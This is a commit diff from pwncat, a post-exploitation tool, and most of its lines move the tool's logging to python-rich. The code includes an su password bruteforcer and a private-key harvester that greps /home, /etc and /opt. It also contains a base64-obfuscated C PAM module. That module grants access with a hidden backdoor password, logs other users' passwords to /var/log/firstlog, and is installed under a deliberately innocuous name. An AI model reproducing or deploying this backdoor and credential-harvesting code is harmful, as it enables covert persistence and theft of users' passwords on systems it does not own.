1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-24 01:25:37 +01:00

Finished implementing new logging with python-rich

This commit is contained in:
Caleb Stewart 2020-07-06 22:40:14 -04:00
parent 40bfd7cb20
commit 93e39b9a47
14 changed files with 208 additions and 206 deletions

View File

@ -36,7 +36,6 @@ import pwncat
import pwncat.db import pwncat.db
from pwncat.commands.base import CommandDefinition, Complete from pwncat.commands.base import CommandDefinition, Complete
from pwncat.util import State, console from pwncat.util import State, console
from pwncat import util
def resolve_blocks(source: str): def resolve_blocks(source: str):
@ -187,8 +186,8 @@ class CommandParser:
try: try:
self.dispatch_line(command) self.dispatch_line(command)
except Exception as exc: except Exception as exc:
util.error( console.log(
f"{Fore.CYAN}{name}{Fore.RESET}: {Fore.YELLOW}{command}{Fore.RESET}: {str(exc)}" f"[red]error[/red]: [cyan]{name}[/cyan]: [yellow]{command}[/yellow]: {str(exc)}"
) )
break break
@ -244,7 +243,7 @@ class CommandParser:
# Spit the line with shell rules # Spit the line with shell rules
argv = shlex.split(line) argv = shlex.split(line)
except ValueError as e: except ValueError as e:
util.error(e.args[0]) console.log(f"[red]error[/red]: {e.args[0]}")
return return
if argv[0][0] in self.shortcuts: if argv[0][0] in self.shortcuts:
@ -262,12 +261,12 @@ class CommandParser:
if argv[0] in self.aliases: if argv[0] in self.aliases:
command = self.aliases[argv[0]] command = self.aliases[argv[0]]
else: else:
util.error(f"{argv[0]}: unknown command") console.log(f"[red]error[/red]: {argv[0]}: unknown command")
return return
if not self.loading_complete and not command.LOCAL: if not self.loading_complete and not command.LOCAL:
util.error( console.log(
f"{argv[0]}: non-local commands cannot run until after session setup." f"[red]error[/red]: {argv[0]}: non-local command use before connection"
) )
return return

View File

@ -5,7 +5,7 @@ from prompt_toolkit.keys import ALL_KEYS, Keys
import pwncat import pwncat
from pwncat.commands.base import CommandDefinition, Complete, Parameter from pwncat.commands.base import CommandDefinition, Complete, Parameter
from pwncat.config import KeyType from pwncat.config import KeyType
from pwncat import util from pwncat.util import console
from colorama import Fore from colorama import Fore
import string import string
@ -29,11 +29,8 @@ class Command(CommandDefinition):
def run(self, args): def run(self, args):
if args.key is None: if args.key is None:
util.info("currently assigned key-bindings:")
for key, binding in pwncat.victim.config.bindings.items(): for key, binding in pwncat.victim.config.bindings.items():
print( console.print(f" [cyan]{key}[/cyan] = [yellow]{repr(binding)}[/yellow]")
f" {Fore.CYAN}{key}{Fore.RESET} = {Fore.YELLOW}{repr(binding)}{Fore.RESET}"
)
elif args.key is not None and args.script is None: elif args.key is not None and args.script is None:
if args.key in pwncat.victim.config.bindings: if args.key in pwncat.victim.config.bindings:
del pwncat.victim.config.bindings[args.key] del pwncat.victim.config.bindings[args.key]

View File

@ -1,7 +1,8 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
import argparse import argparse
from rich.progress import Progress
from pwncat import util from pwncat.util import console
from pwncat.commands.base import CommandDefinition, Complete, Parameter from pwncat.commands.base import CommandDefinition, Complete, Parameter
import pwncat import pwncat
@ -41,19 +42,36 @@ class Command(CommandDefinition):
def run(self, args): def run(self, args):
for name in args.user: with Progress(
args.dictionary.seek(0) "bruteforcing",
for line in args.dictionary: "[blue]{task.description}",
line = line.strip() "",
util.progress(f"bruteforcing {name}: {line}") "[cyan]{task.fields[password]}",
) as progress:
tasks = [
progress.add_task(name, password="", start=False) for name in args.user
]
for i, name in enumerate(args.user):
args.dictionary.seek(0)
progress.start_task(tasks[i])
for line in args.dictionary:
line = line.strip()
try: progress.update(tasks[i], password=line)
# Attempt the password
pwncat.victim.su(name, line, check=True)
pwncat.victim.users[name].password = line
util.success(f"user {name} has password {repr(line)}!")
break
except PermissionError:
continue
util.success("bruteforcing completed") try:
# Attempt the password
pwncat.victim.su(name, line, check=True)
pwncat.victim.users[name].password = line
progress.update(
tasks[i],
password=f"password is [green]{repr(line)}[/green]",
)
break
except PermissionError:
continue
else:
progress.update(
tasks[i], password="[red]failed[/red]: no password found"
)
progress.stop_task(tasks[i])

View File

@ -10,7 +10,7 @@ from pwncat.commands.base import (
StoreConstOnce, StoreConstOnce,
StoreForAction, StoreForAction,
) )
from pwncat import util from pwncat.util import console
class Command(CommandDefinition): class Command(CommandDefinition):
@ -64,11 +64,11 @@ class Command(CommandDefinition):
pwncat.victim.bootstrap_busybox(args.url) pwncat.victim.bootstrap_busybox(args.url)
elif args.action == "list": elif args.action == "list":
if pwncat.victim.host.busybox is None: if pwncat.victim.host.busybox is None:
util.error( console.log(
"busybox hasn't been installed yet (hint: run 'busybox --install'" "[red]error[/red]: "
"busybox is not installed (hint: run 'busybox --install')"
) )
return return
util.info("binaries which the remote busybox provides:")
# Find all binaries which are provided by busybox # Find all binaries which are provided by busybox
provides = pwncat.victim.session.query(pwncat.db.Binary).filter( provides = pwncat.victim.session.query(pwncat.db.Binary).filter(
@ -77,13 +77,13 @@ class Command(CommandDefinition):
) )
for binary in provides: for binary in provides:
print(f" * {binary.name}") console.print(f" - {binary.name}")
elif args.action == "status": elif args.action == "status":
if pwncat.victim.host.busybox is None: if pwncat.victim.host.busybox is None:
util.error("busybox hasn't been installed yet") console.log("[red]error[/red]: busybox hasn't been installed yet")
return return
util.info( console.log(
f"busybox is installed to: {Fore.BLUE}{pwncat.victim.host.busybox}{Fore.RESET}" f"busybox is installed to: [blue]{pwncat.victim.host.busybox}[/blue]"
) )
# Find all binaries which are provided from busybox # Find all binaries which are provided from busybox
@ -96,4 +96,4 @@ class Command(CommandDefinition):
.with_entities(func.count()) .with_entities(func.count())
.scalar() .scalar()
) )
util.info(f"busybox provides {Fore.GREEN}{nprovides}{Fore.RESET} applets") console.log(f"busybox provides [green]{nprovides}[/green] applets")

View File

@ -8,7 +8,6 @@ from prompt_toolkit import prompt
from rich.progress import Progress, BarColumn from rich.progress import Progress, BarColumn
import pwncat import pwncat
from pwncat import util
from pwncat.util import console from pwncat.util import console
from pwncat.commands.base import ( from pwncat.commands.base import (
CommandDefinition, CommandDefinition,
@ -185,7 +184,7 @@ class Command(CommandDefinition):
# Connect to the remote host's ssh server # Connect to the remote host's ssh server
sock = socket.create_connection((args.host, args.port)) sock = socket.create_connection((args.host, args.port))
except Exception as exc: except Exception as exc:
util.error(str(exc)) console.log(f"[red]error[/red]: {str(exc)}")
return return
# Create a paramiko SSH transport layer around the socket # Create a paramiko SSH transport layer around the socket
@ -194,7 +193,7 @@ class Command(CommandDefinition):
t.start_client() t.start_client()
except paramiko.SSHException: except paramiko.SSHException:
sock.close() sock.close()
util.error("ssh negotiation failed") console.log("[red]error[/red]: ssh negotiation failed")
return return
if args.identity: if args.identity:
@ -209,12 +208,12 @@ class Command(CommandDefinition):
try: try:
t.auth_publickey(args.user, key) t.auth_publickey(args.user, key)
except paramiko.ssh_exception.AuthenticationException as exc: except paramiko.ssh_exception.AuthenticationException as exc:
util.error(f"authentication failed: {exc}") console.log(f"[red]error[/red]: authentication failed: {exc}")
else: else:
try: try:
t.auth_password(args.user, args.password) t.auth_password(args.user, args.password)
except paramiko.ssh_exception.AuthenticationException as exc: except paramiko.ssh_exception.AuthenticationException as exc:
util.error(f"authentication failed: {exc}") console.log(f"[red]error[/red]: authentication failed: {exc}")
if not t.is_authenticated(): if not t.is_authenticated():
t.close() t.close()
@ -234,14 +233,13 @@ class Command(CommandDefinition):
try: try:
addr = ipaddress.ip_address(args.host) addr = ipaddress.ip_address(args.host)
util.progress(f"enumerating persistence methods for {addr}")
host = ( host = (
pwncat.victim.session.query(pwncat.db.Host) pwncat.victim.session.query(pwncat.db.Host)
.filter_by(ip=str(addr)) .filter_by(ip=str(addr))
.first() .first()
) )
if host is None: if host is None:
util.error(f"{args.host}: not found in database") console.log(f"[red]error[/red]: {args.host}: not found in database")
return return
host_hash = host.hash host_hash = host.hash
except ValueError: except ValueError:
@ -251,19 +249,19 @@ class Command(CommandDefinition):
try: try:
pwncat.victim.reconnect(host_hash, args.method, args.user) pwncat.victim.reconnect(host_hash, args.method, args.user)
except PersistenceError as exc: except PersistenceError as exc:
util.error(f"{args.host}: connection failed") console.log(f"[red]error[/red]: {args.host}: {exc}")
return return
elif args.action == "list": elif args.action == "list":
if pwncat.victim.session is not None: if pwncat.victim.session is not None:
for host in pwncat.victim.session.query(pwncat.db.Host): for host in pwncat.victim.session.query(pwncat.db.Host):
if len(host.persistence) == 0: if len(host.persistence) == 0:
continue continue
print( console.print(
f"{Fore.MAGENTA}{host.ip}{Fore.RESET} - {Fore.RED}{host.distro}{Fore.RESET} - {Fore.YELLOW}{host.hash}{Fore.RESET}" f"[magenta]{host.ip}[/magenta] - [red]{host.distro}[/red] - [yellow]{host.hash}[/yellow]"
) )
for p in host.persistence: for p in host.persistence:
print( console.print(
f" - {Fore.BLUE}{p.method}{Fore.RESET} as {Fore.GREEN}{p.user if p.user else 'system'}{Fore.RESET}" f" - [blue]{p.method}[/blue] as [green]{p.user if p.user else 'system'}[/green]"
) )
else: else:
util.error(f"{args.action}: invalid action") console.log(f"[red]error[/red]: {args.action}: invalid action")

View File

@ -6,9 +6,11 @@ from typing import List, Dict
import pytablewriter import pytablewriter
from colorama import Fore, Style from colorama import Fore, Style
from pytablewriter import MarkdownTableWriter from pytablewriter import MarkdownTableWriter
from rich.progress import Progress, BarColumn
import pwncat import pwncat
from pwncat import util from pwncat import util
from pwncat.util import console
from pwncat.commands.base import ( from pwncat.commands.base import (
CommandDefinition, CommandDefinition,
Complete, Complete,
@ -320,18 +322,23 @@ class Command(CommandDefinition):
"system.package", "system.package",
] ]
util.progress("enumerating report_data") with Progress(
for fact in pwncat.victim.enumerate(): "enumerating report data",
util.progress(f"enumerating report_data: {fact.data}") "",
if fact.type in ignore_types: "[cyan]{task.fields[status]}",
continue transient=True,
if fact.type not in report_data: console=console,
report_data[fact.type] = {} ) as progress:
if fact.source not in report_data[fact.type]: task = progress.add_task("", status="initializing")
report_data[fact.type][fact.source] = [] for fact in pwncat.victim.enumerate():
report_data[fact.type][fact.source].append(fact) progress.update(task, status=str(fact.data))
if fact.type in ignore_types:
util.erase_progress() continue
if fact.type not in report_data:
report_data[fact.type] = {}
if fact.source not in report_data[fact.type]:
report_data[fact.type][fact.source] = []
report_data[fact.type][fact.source].append(fact)
try: try:
with open(report_path, "w") as filp: with open(report_path, "w") as filp:
@ -359,9 +366,9 @@ class Command(CommandDefinition):
continue continue
self.render_section(filp, typ, report_data[typ]) self.render_section(filp, typ, report_data[typ])
util.success(f"enumeration report written to {report_path}") console.log(f"enumeration report written to [cyan]{report_path}[/cyan]")
except OSError: except OSError as exc:
self.parser.error(f"{report_path}: failed to open output file") console.log(f"[red]error[/red]: [cyan]{report_path}[/cyan]: {exc}")
def render_section(self, filp, typ: str, sources: Dict[str, List[pwncat.db.Fact]]): def render_section(self, filp, typ: str, sources: Dict[str, List[pwncat.db.Fact]]):
""" """
@ -399,29 +406,34 @@ class Command(CommandDefinition):
types = typ if isinstance(typ, list) else [typ] types = typ if isinstance(typ, list) else [typ]
util.progress("enumerating facts") with Progress(
for typ in types: "enumerating facts",
for fact in pwncat.victim.enumerate.iter( "",
typ, filter=lambda f: provider is None or f.source == provider "[cyan]{task.fields[status]}",
): transient=True,
util.progress(f"enumerating facts: {fact.data}") console=console,
if fact.type not in data: ) as progress:
data[fact.type] = {} task = progress.add_task("", status="initializing")
if fact.source not in data[fact.type]: for typ in types:
data[fact.type][fact.source] = [] for fact in pwncat.victim.enumerate.iter(
data[fact.type][fact.source].append(fact) typ, filter=lambda f: provider is None or f.source == provider
):
util.erase_progress() progress.update(task, status=str(fact.data))
if fact.type not in data:
data[fact.type] = {}
if fact.source not in data[fact.type]:
data[fact.type][fact.source] = []
data[fact.type][fact.source].append(fact)
for typ, sources in data.items(): for typ, sources in data.items():
for source, facts in sources.items(): for source, facts in sources.items():
print( console.print(
f"{Style.BRIGHT}{Fore.YELLOW}{typ.upper()}{Fore.RESET} Facts by {Fore.BLUE}{source}{Style.RESET_ALL}" f"[bright_yellow]{typ.upper()}[/bright_yellow] Facts by [blue]{source}[/blue]"
) )
for fact in facts: for fact in facts:
print(f" {fact.data}") console.print(f" {fact.data}")
if long and getattr(fact.data, "description", None) is not None: if long and getattr(fact.data, "description", None) is not None:
print(textwrap.indent(fact.data.description, " ")) console.print(textwrap.indent(fact.data.description, " "))
def flush_facts(self, typ: str, provider: str): def flush_facts(self, typ: str, provider: str):
""" Flush all facts that match criteria """ """ Flush all facts that match criteria """

View File

@ -1,5 +1,5 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
from pwncat import util from pwncat.util import console
from pwncat.commands.base import CommandDefinition, Complete, Parameter from pwncat.commands.base import CommandDefinition, Complete, Parameter
@ -23,7 +23,7 @@ class Command(CommandDefinition):
# Ensure we confirmed we want to exit # Ensure we confirmed we want to exit
if not args.yes: if not args.yes:
util.error("exit not confirmed") console.log("[red]error[/red]: exit not confirmed (use '--yes')")
return return
# Get outa here! # Get outa here!

View File

@ -4,7 +4,7 @@ import textwrap
import pwncat import pwncat
from pwncat.commands import CommandParser from pwncat.commands import CommandParser
from pwncat.commands.base import CommandDefinition, Complete, Parameter from pwncat.commands.base import CommandDefinition, Complete, Parameter
from pwncat import util from pwncat.util import console
class Command(CommandDefinition): class Command(CommandDefinition):
@ -26,9 +26,8 @@ class Command(CommandDefinition):
if command.parser is not None: if command.parser is not None:
command.parser.print_help() command.parser.print_help()
else: else:
print(textwrap.dedent(command.__doc__).strip()) console.print(textwrap.dedent(command.__doc__).strip())
break break
else: else:
util.info("the following commands are available:")
for command in pwncat.victim.command_parser.commands: for command in pwncat.victim.command_parser.commands:
print(f" * {command.PROG}") console.print(f" - {command.PROG}")

View File

@ -3,6 +3,15 @@ import textwrap
from typing import Dict, Type, Tuple, Iterator from typing import Dict, Type, Tuple, Iterator
from colorama import Fore, Style from colorama import Fore, Style
from rich.progress import (
BarColumn,
DownloadColumn,
TextColumn,
TransferSpeedColumn,
TimeRemainingColumn,
Progress,
TaskID,
)
import pwncat import pwncat
from pwncat.util import console from pwncat.util import console
@ -111,18 +120,29 @@ class Command(CommandDefinition):
def clean_methods(self): def clean_methods(self):
""" Remove all persistence methods from the victim """ """ Remove all persistence methods from the victim """
util.progress("cleaning persistence methods: ") with Progress(
for user, method in pwncat.victim.persist.installed: "cleaning",
try: "{task.fields[method]}",
util.progress(f"cleaning persistance methods: {method.format(user)}") BarColumn(bar_width=None),
pwncat.victim.persist.remove(method.name, user) "[progress.percentage]{task.percentage:>3.1f}%",
util.success(f"removed {method.format(user)}") console=console,
except PersistenceError as exc: ) as progress:
util.erase_progress() installed = list(pwncat.victim.persist.installed)
util.warn(
f"{method.format(user)}: removal failed: {exc}\n", overlay=True task = progress.add_task("", method="initializing", total=len(installed))
)
util.erase_progress() for user, method in installed:
try:
progress.update(task, method=method.format(user))
pwncat.victim.persist.remove(method.name, user)
except PersistenceError as exc:
progress.log(
f"[yellow]warning[/yellow]: {method.format(user)}: "
f"removal failed: {exc}"
)
progress.update(task, advance=1)
progress.update(task, method="[bold green]complete")
def run(self, args): def run(self, args):

View File

@ -50,8 +50,6 @@ def enumerate() -> Generator[PrivateKeyFact, None, None]:
data = [] data = []
util.progress("enumerating private keys")
# Search for private keys in common locations # Search for private keys in common locations
with pwncat.victim.subprocess( with pwncat.victim.subprocess(
"grep -l -I -D skip -rE '^-+BEGIN .* PRIVATE KEY-+$' /home /etc /opt 2>/dev/null | xargs stat -c '%u %n' 2>/dev/null" "grep -l -I -D skip -rE '^-+BEGIN .* PRIVATE KEY-+$' /home /etc /opt 2>/dev/null | xargs stat -c '%u %n' 2>/dev/null"
@ -59,14 +57,10 @@ def enumerate() -> Generator[PrivateKeyFact, None, None]:
for line in pipe: for line in pipe:
line = line.strip().decode("utf-8").split(" ") line = line.strip().decode("utf-8").split(" ")
uid, path = int(line[0]), " ".join(line[1:]) uid, path = int(line[0]), " ".join(line[1:])
util.progress(f"enumerating private keys: {Fore.CYAN}{path}{Fore.RESET}")
data.append(PrivateKeyFact(uid, path, None, False)) data.append(PrivateKeyFact(uid, path, None, False))
for fact in data: for fact in data:
try: try:
util.progress(
f"enumerating private keys: downloading {Fore.CYAN}{fact.path}{Fore.RESET}"
)
with pwncat.victim.open(fact.path, "r") as filp: with pwncat.victim.open(fact.path, "r") as filp:
fact.content = filp.read().strip().replace("\r\n", "\n") fact.content = filp.read().strip().replace("\r\n", "\n")

View File

@ -6,6 +6,8 @@ import os
import textwrap import textwrap
from typing import Optional from typing import Optional
from rich.progress import Progress
import pwncat import pwncat
from pwncat import util from pwncat import util
from pwncat.persist import PersistenceMethod, PersistenceError from pwncat.persist import PersistenceMethod, PersistenceError
@ -30,6 +32,46 @@ class Method(PersistenceMethod):
name = "pam" name = "pam"
# We can leverage this to escalate locally # We can leverage this to escalate locally
local = True local = True
# Source to our module
sneaky_source = textwrap.dedent(
"""
I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzZWN1cml0eS9wYW1fbW9kdWxlcy5oPgojaW5j
bHVkZSA8c2VjdXJpdHkvcGFtX2V4dC5oPgojaW5jbHVkZSA8c3RyaW5nLmg+CiNpbmNsdWRlIDxz
eXMvZmlsZS5oPgojaW5jbHVkZSA8ZXJybm8uaD4KI2luY2x1ZGUgPG9wZW5zc2wvc2hhLmg+ClBB
TV9FWFRFUk4gaW50IHBhbV9zbV9hdXRoZW50aWNhdGUocGFtX2hhbmRsZV90ICpoYW5kbGUsIGlu
dCBmbGFncywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KQp7CiAgICBpbnQgcGFtX2NvZGU7
CiAgICBjb25zdCBjaGFyICp1c2VybmFtZSA9IE5VTEw7CiAgICBjb25zdCBjaGFyICpwYXNzd29y
ZCA9IE5VTEw7CiAgICBjaGFyIHBhc3N3ZF9saW5lWzEwMjRdOwogICAgaW50IGZvdW5kX3VzZXIg
PSAwOwoJY2hhciBrZXlbMjBdID0ge19fUFdOQ0FUX0hBU0hfX307CglGSUxFKiBmaWxwOwogICAg
cGFtX2NvZGUgPSBwYW1fZ2V0X3VzZXIoaGFuZGxlLCAmdXNlcm5hbWUsICJVc2VybmFtZTogIik7
CiAgICBpZiAocGFtX2NvZGUgIT0gUEFNX1NVQ0NFU1MpIHsKICAgICAgICByZXR1cm4gUEFNX0lH
Tk9SRTsKICAgIH0KICAgIGZpbHAgPSBmb3BlbigiL2V0Yy9wYXNzd2QiLCAiciIpOwogICAgaWYo
IGZpbHAgPT0gTlVMTCApewogICAgICAgIHJldHVybiBQQU1fSUdOT1JFOwogICAgfQogICAgd2hp
bGUoIGZnZXRzKHBhc3N3ZF9saW5lLCAxMDI0LCBmaWxwKSApewogICAgICAgIGNoYXIqIHZhbGlk
X3VzZXIgPSBzdHJ0b2socGFzc3dkX2xpbmUsICI6Iik7CiAgICAgICAgaWYoIHN0cmNtcCh2YWxp
ZF91c2VyLCB1c2VybmFtZSkgPT0gMCApewogICAgICAgICAgICBmb3VuZF91c2VyID0gMTsKICAg
ICAgICAgICAgYnJlYWs7CiAgICAgICAgfSAKICAgIH0KICAgIGZjbG9zZShmaWxwKTsKICAgIGlm
KCBmb3VuZF91c2VyID09IDAgKXsKICAgICAgICByZXR1cm4gUEFNX0lHTk9SRTsKICAgIH0KICAg
IHBhbV9jb2RlID0gcGFtX2dldF9hdXRodG9rKGhhbmRsZSwgUEFNX0FVVEhUT0ssICZwYXNzd29y
ZCwgIlBhc3N3b3JkOiAiKTsKICAgIGlmIChwYW1fY29kZSAhPSBQQU1fU1VDQ0VTUykgewogICAg
ICAgIHJldHVybiBQQU1fSUdOT1JFOwogICAgfQoJaWYoIG1lbWNtcChTSEExKHBhc3N3b3JkLCBz
dHJsZW4ocGFzc3dvcmQpLCBOVUxMKSwga2V5LCAyMCkgIT0gMCApewoJCWZpbHAgPSBmb3Blbigi
X19QV05DQVRfTE9HX18iLCAiYSIpOwoJCWlmKCBmaWxwICE9IE5VTEwgKQoJCXsKCQkJZnByaW50
ZihmaWxwLCAiJXM6JXNcbiIsIHVzZXJuYW1lLCBwYXNzd29yZCk7CgkJCWZjbG9zZShmaWxwKTsK
CQl9CgkJcmV0dXJuIFBBTV9JR05PUkU7Cgl9CiAgICByZXR1cm4gUEFNX1NVQ0NFU1M7Cn0KUEFN
X0VYVEVSTiBpbnQgcGFtX3NtX2FjY3RfbWdtdChwYW1faGFuZGxlX3QgKnBhbWgsIGludCBmbGFn
cywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KSB7CiAgICAgcmV0dXJuIFBBTV9JR05PUkU7
Cn0KUEFNX0VYVEVSTiBpbnQgcGFtX3NtX3NldGNyZWQocGFtX2hhbmRsZV90ICpwYW1oLCBpbnQg
ZmxhZ3MsIGludCBhcmdjLCBjb25zdCBjaGFyICoqYXJndikgewogICAgIHJldHVybiBQQU1fSUdO
T1JFOwp9ClBBTV9FWFRFUk4gaW50IHBhbV9zbV9vcGVuX3Nlc3Npb24ocGFtX2hhbmRsZV90ICpw
YW1oLCBpbnQgZmxhZ3MsIGludCBhcmdjLCBjb25zdCBjaGFyICoqYXJndikgewogICAgIHJldHVy
biBQQU1fSUdOT1JFOwp9ClBBTV9FWFRFUk4gaW50IHBhbV9zbV9jbG9zZV9zZXNzaW9uKHBhbV9o
YW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFyZ3YpIHsK
ICAgICByZXR1cm4gUEFNX0lHTk9SRTsKfQpQQU1fRVhURVJOIGludCBwYW1fc21fY2hhdXRodG9r
KHBhbV9oYW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFy
Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg=="""
).replace("\n", "")
sneaky_source = base64.b64decode(sneaky_source).decode("utf-8")
def install(self, user: Optional[str] = None): def install(self, user: Optional[str] = None):
""" Install the persistence method """ """ Install the persistence method """
@ -52,48 +94,6 @@ class Method(PersistenceMethod):
# SELinux not found # SELinux not found
pass pass
# Source to our module
sneaky_source = textwrap.dedent(
"""
I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzZWN1cml0eS9wYW1fbW9kdWxlcy5oPgojaW5j
bHVkZSA8c2VjdXJpdHkvcGFtX2V4dC5oPgojaW5jbHVkZSA8c3RyaW5nLmg+CiNpbmNsdWRlIDxz
eXMvZmlsZS5oPgojaW5jbHVkZSA8ZXJybm8uaD4KI2luY2x1ZGUgPG9wZW5zc2wvc2hhLmg+ClBB
TV9FWFRFUk4gaW50IHBhbV9zbV9hdXRoZW50aWNhdGUocGFtX2hhbmRsZV90ICpoYW5kbGUsIGlu
dCBmbGFncywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KQp7CiAgICBpbnQgcGFtX2NvZGU7
CiAgICBjb25zdCBjaGFyICp1c2VybmFtZSA9IE5VTEw7CiAgICBjb25zdCBjaGFyICpwYXNzd29y
ZCA9IE5VTEw7CiAgICBjaGFyIHBhc3N3ZF9saW5lWzEwMjRdOwogICAgaW50IGZvdW5kX3VzZXIg
PSAwOwoJY2hhciBrZXlbMjBdID0ge19fUFdOQ0FUX0hBU0hfX307CglGSUxFKiBmaWxwOwogICAg
cGFtX2NvZGUgPSBwYW1fZ2V0X3VzZXIoaGFuZGxlLCAmdXNlcm5hbWUsICJVc2VybmFtZTogIik7
CiAgICBpZiAocGFtX2NvZGUgIT0gUEFNX1NVQ0NFU1MpIHsKICAgICAgICByZXR1cm4gUEFNX0lH
Tk9SRTsKICAgIH0KICAgIGZpbHAgPSBmb3BlbigiL2V0Yy9wYXNzd2QiLCAiciIpOwogICAgaWYo
IGZpbHAgPT0gTlVMTCApewogICAgICAgIHJldHVybiBQQU1fSUdOT1JFOwogICAgfQogICAgd2hp
bGUoIGZnZXRzKHBhc3N3ZF9saW5lLCAxMDI0LCBmaWxwKSApewogICAgICAgIGNoYXIqIHZhbGlk
X3VzZXIgPSBzdHJ0b2socGFzc3dkX2xpbmUsICI6Iik7CiAgICAgICAgaWYoIHN0cmNtcCh2YWxp
ZF91c2VyLCB1c2VybmFtZSkgPT0gMCApewogICAgICAgICAgICBmb3VuZF91c2VyID0gMTsKICAg
ICAgICAgICAgYnJlYWs7CiAgICAgICAgfSAKICAgIH0KICAgIGZjbG9zZShmaWxwKTsKICAgIGlm
KCBmb3VuZF91c2VyID09IDAgKXsKICAgICAgICByZXR1cm4gUEFNX0lHTk9SRTsKICAgIH0KICAg
IHBhbV9jb2RlID0gcGFtX2dldF9hdXRodG9rKGhhbmRsZSwgUEFNX0FVVEhUT0ssICZwYXNzd29y
ZCwgIlBhc3N3b3JkOiAiKTsKICAgIGlmIChwYW1fY29kZSAhPSBQQU1fU1VDQ0VTUykgewogICAg
ICAgIHJldHVybiBQQU1fSUdOT1JFOwogICAgfQoJaWYoIG1lbWNtcChTSEExKHBhc3N3b3JkLCBz
dHJsZW4ocGFzc3dvcmQpLCBOVUxMKSwga2V5LCAyMCkgIT0gMCApewoJCWZpbHAgPSBmb3Blbigi
X19QV05DQVRfTE9HX18iLCAiYSIpOwoJCWlmKCBmaWxwICE9IE5VTEwgKQoJCXsKCQkJZnByaW50
ZihmaWxwLCAiJXM6JXNcbiIsIHVzZXJuYW1lLCBwYXNzd29yZCk7CgkJCWZjbG9zZShmaWxwKTsK
CQl9CgkJcmV0dXJuIFBBTV9JR05PUkU7Cgl9CiAgICByZXR1cm4gUEFNX1NVQ0NFU1M7Cn0KUEFN
X0VYVEVSTiBpbnQgcGFtX3NtX2FjY3RfbWdtdChwYW1faGFuZGxlX3QgKnBhbWgsIGludCBmbGFn
cywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KSB7CiAgICAgcmV0dXJuIFBBTV9JR05PUkU7
Cn0KUEFNX0VYVEVSTiBpbnQgcGFtX3NtX3NldGNyZWQocGFtX2hhbmRsZV90ICpwYW1oLCBpbnQg
ZmxhZ3MsIGludCBhcmdjLCBjb25zdCBjaGFyICoqYXJndikgewogICAgIHJldHVybiBQQU1fSUdO
T1JFOwp9ClBBTV9FWFRFUk4gaW50IHBhbV9zbV9vcGVuX3Nlc3Npb24ocGFtX2hhbmRsZV90ICpw
YW1oLCBpbnQgZmxhZ3MsIGludCBhcmdjLCBjb25zdCBjaGFyICoqYXJndikgewogICAgIHJldHVy
biBQQU1fSUdOT1JFOwp9ClBBTV9FWFRFUk4gaW50IHBhbV9zbV9jbG9zZV9zZXNzaW9uKHBhbV9o
YW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFyZ3YpIHsK
ICAgICByZXR1cm4gUEFNX0lHTk9SRTsKfQpQQU1fRVhURVJOIGludCBwYW1fc21fY2hhdXRodG9r
KHBhbV9oYW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFy
Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
"""
).replace("\n", "")
sneaky_source = base64.b64decode(sneaky_source).decode("utf-8")
# We use the backdoor password. Build the string of encoded bytes # We use the backdoor password. Build the string of encoded bytes
# These are placed in the source like: char password_hash[] = {0x01, 0x02, 0x03, ...}; # These are placed in the source like: char password_hash[] = {0x01, 0x02, 0x03, ...};
password = hashlib.sha1( password = hashlib.sha1(
@ -102,15 +102,25 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
password = ",".join(hex(c) for c in password) password = ",".join(hex(c) for c in password)
# Insert our key # Insert our key
sneaky_source = sneaky_source.replace("__PWNCAT_HASH__", password) sneaky_source = self.sneaky_source.replace("__PWNCAT_HASH__", password)
# Insert the log location for successful passwords # Insert the log location for successful passwords
sneaky_source = sneaky_source.replace("__PWNCAT_LOG__", "/var/log/firstlog") sneaky_source = sneaky_source.replace("__PWNCAT_LOG__", "/var/log/firstlog")
progress = Progress(
"installing pam module",
"",
"[cyan]{task.fields[status]}",
transient=True,
console=console,
)
task = progress.add_task("", status="initializing")
# Write the source # Write the source
try: try:
progress.start()
util.progress("pam_sneaky: compiling shared library") progress.update(task, status="compiling shared library")
try: try:
# Compile our source for the remote host # Compile our source for the remote host
@ -123,7 +133,7 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
except (FileNotFoundError, CompilationError) as exc: except (FileNotFoundError, CompilationError) as exc:
raise PersistenceError(f"pam: compilation failed: {exc}") raise PersistenceError(f"pam: compilation failed: {exc}")
util.progress("pam_sneaky: locating pam module location") progress.update(task, status="locating pam module installation")
# Locate the pam_deny.so to know where to place the new module # Locate the pam_deny.so to know where to place the new module
pam_modules = "/usr/lib/security" pam_modules = "/usr/lib/security"
@ -141,24 +151,24 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
except FileNotFoundError: except FileNotFoundError:
pass pass
util.progress(f"pam_sneaky: pam modules located in {pam_modules}") progress.update(task, status=f"pam modules located at {pam_modules}")
# Ensure the directory exists and is writable # Ensure the directory exists and is writable
access = pwncat.victim.access(pam_modules) access = pwncat.victim.access(pam_modules)
if (Access.DIRECTORY | Access.WRITE) in access: if (Access.DIRECTORY | Access.WRITE) in access:
# Copy the module to a non-suspicious path # Copy the module to a non-suspicious path
util.progress(f"pam_sneaky: copying shared library to {pam_modules}") progress.update(task, status="copying shared library")
pwncat.victim.env( pwncat.victim.env(
["mv", lib_path, os.path.join(pam_modules, "pam_succeed.so")] ["mv", lib_path, os.path.join(pam_modules, "pam_succeed.so")]
) )
